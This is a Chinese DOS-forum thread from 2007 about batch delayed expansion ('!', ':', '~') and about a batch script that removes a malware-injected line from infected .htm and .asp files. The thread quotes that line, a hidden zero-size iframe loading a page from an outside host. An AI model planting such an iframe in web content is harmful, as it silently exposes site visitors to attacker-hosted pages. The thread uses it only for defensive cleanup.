中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-09-25 10:09
共 47,813 主题排行 / 349,918 发帖 / 今日 0 篇 / 48,274 会员排行
DOS批处理 & 脚本技术(批处理室) » 批处理 中 “!”,“:”什么意思啊?
可打印版本  1,205 / 8
第1楼 tolyxiong 发表于 2007-05-22 21:40
新手上路 发帖 4 积分 10 来自 湖南
批处理 中 “!”,“:”什么意思啊?
@echo off
set f=c:\aaa.txt
set f2="c:\aaa.bak.txt"
for /?>%f%
if exist %f2% del %f2%
for /f "tokens=* delims=%" %%l in (%f%) do (
set line=%%l
set line=!line:FOR=F_O_R!
echo !line!>>%f2%
)


----------------------
@echo off
setlocal enabledelayedexpansion
for /f "delims=" %%i in (test.txt) do (
set "str=%%i"
set "str=!str: =!"
set "str=!str:~12!"
echo !str!
)
pause

最后3行都什么意思啊? 特别是 那个 “!”,“:” ,他们如何使用的,一点都不懂,高人请帮忙解释下,多谢了

另外: 我还有个问题,我的电脑中毒了,.exe文件被感染,html,asp文件也都被感染了。 htm, asp 文件都是以前积累的一些资料,舍不得删掉。
病毒文件就是在每个 htm,asp文件的末尾加入了这样一行:“<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>” ,
要一个个删除不是个事,于是就想用批处理能不能解决,高手能否帮帮忙?

[ Last edited by tolyxiong on 2007-5-22 at 09:44 PM ]
第2楼 bjsh 发表于 2007-05-22 22:55
银牌会员 发帖 621 积分 2,000
搜索变量延迟;

至于删除最后一行;
可以通过
for语句历遍被感染的html和asp;
对每一个html和asp文件执行:
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" 文件名 > 文件名.bak
delete 原文件
然后把bak文件改名为原来的文件即可
第3楼 tolyxiong 发表于 2007-05-23 01:13
新手上路 发帖 4 积分 10 来自 湖南
多谢斑竹! 按照你的思路我搞了个.bat文件,功能基本上可以实现,就是需要把它放在需要修改的.htm.asp 文件的根目录下才行。我是这样写的,希望多给建议~~

---------------------------------del.bat
@echo off
setlocal

rem DPATH : 指定目录
rem FILETYPE: 指定文件类型
rem SCONTENT: 替换前的字符串
rem TMPFILE : 临时文件

rem set DPATH=c:\temp
set FILETYPE=*.htm
set SCONTENT="<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>"
set TMPFILE=%random%.bak

rem DO 后面要紧跟 “(”
for /r %%i in (%FILETYPE%) do (
echo %%i

if exist %TMPFILE% ( del /f/q %TMPFILE% )

set TMPFILE=%random%.bak
findstr /v %SCONTENT% %%i > %TMPFILE%
move /y %TMPFILE% %%i
)
endlocal
第4楼 tolyxiong 发表于 2007-05-23 01:17
新手上路 发帖 4 积分 10 来自 湖南
set line=%%l
set line=!line:FOR=F_O_R!
echo !line!>>%f2%
---------------------------
关于 “!”,“:” ,“~”的作用和用法我还是搞不清,能给解释下吗,如果觉得麻烦,给介绍点资料也行~~~~我菜,但是很喜欢这些东西。。。。。
第5楼 bjsh 发表于 2007-05-23 11:29
银牌会员 发帖 621 积分 2,000
你试试这个吧;
放于c盘;双击运行
会搜索整个c盘被感染的html和asp文件并修复;
放于其他盘同;
放于某个目录下;会搜索整个目录及其子目录中被感染的html和sap文件并修复
当然可以改造为搜索所有硬盘;不过用在这觉得是浪费效率;
第6楼 bjsh 发表于 2007-05-23 11:36
银牌会员 发帖 621 积分 2,000
对于

你说说的 “!”“:” “~”的作用

参考 以下
set /?
搜索 [CMD]理解变量字符的截取功能
搜索 变量延迟
第7楼 tolyxiong 发表于 2007-05-23 12:32
新手上路 发帖 4 积分 10 来自 湖南
多谢了。

我发现我们2个的程序都不能处理文件名里面带空格的文件,
findstr 会把有空格的文件按照空格拆分成几个文件,结果当然是“找不到相应的文件”了,昨天晚上搞了好久未果。。。。 。,我对好多基本的用法都不熟悉,别说灵活运用了。。。。
第8楼 bjsh 发表于 2007-05-25 19:26
银牌会员 发帖 621 积分 2,000

我发现我们2个的程序都不能处理文件名里面带空格的文件,



这个好办啊;

加引号不就解决了么;
第9楼 wangmeng052 发表于 2007-06-11 23:23
中级用户 发帖 154 积分 334
太复杂了。。。。。。。。。。。
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023